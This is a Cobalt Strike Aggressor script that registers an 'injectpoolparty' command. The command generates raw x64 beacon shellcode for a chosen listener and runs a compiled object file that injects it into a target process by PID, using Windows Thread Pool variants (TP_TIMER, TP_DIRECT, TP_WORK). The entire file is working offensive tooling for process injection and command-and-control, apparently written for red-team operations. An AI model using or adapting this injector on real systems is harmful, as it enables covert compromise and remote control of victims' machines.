injectpoolparty.cna 1.9 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849
  1. # author REDMED-X
  2. beacon_command_register(
  3. "injectpoolparty", "Inject listener shellcode in specified process and execute it via Windows Thread Pools.",
  4. "INFO:\nInject listener shellcode in specified process and execute it via Windows Thread Pools.\nThe following execution variants are supported: TP_TIMER (variant 8) | TP_DIRECT (variant 7 | TP_WORK (variant 2).\nThe following beacon shellcode configuration is injected: x64, process, indirect. This can be changed in the .cna script.\n\n" .
  5. "ARGUMENTS:\n[<variant>]: Windows Thread Pool execution variant: TP_TIMER | TP_DIRECT | TP_WORK (susceptible to slow execution time).\n[<pid>]: Process ID of the target process.\n[<listener>]: Beacon listener name.\n\n" .
  6. "USAGE:\ninjectpoolparty <variant> <pid> <listener>\n\n" .
  7. "EXAMPLES:\ninjectpoolparty TP_TIMER 1234 Shorthaul-HTTPS\n\n");
  8. alias injectpoolparty {
  9. $bid = $1;
  10. $variant = $2;
  11. $pid = $3;
  12. $listener = $4;
  13. if ($variant eq "TP_TIMER" || $variant eq "TP_DIRECT" || $variant eq "TP_WORK") {
  14. if ($pid eq "") {
  15. berror($bid, "Please specify the process ID (pid) of the target process.\n");
  16. return;
  17. }
  18. }
  19. else {
  20. berror($bid, "Please specify one of the following execution variants: TP_TIMER | TP_DIRECT | TP_WORK (susceptible to slow execution time).\n");
  21. return;
  22. }
  23. # Read in the right BOF file
  24. $handle = openf(script_resource("injectpoolparty.o"));
  25. $data = readb($handle, -1);
  26. closef($handle);
  27. if (listener_info($listener) is $null) {
  28. berror($bid, "Specified listener was not found: $listener");
  29. }
  30. else {
  31. $sc_data = artifact_payload($listener, "raw", "x64", "process", "Indirect");
  32. # Pack our arguments
  33. $arg_data = bof_pack($bid, "zib", $variant, $pid, $sc_data);
  34. blog($bid, "Tasked to start a new listener..");
  35. beacon_inline_execute($bid, $data, "go", $arg_data);
  36. }
  37. }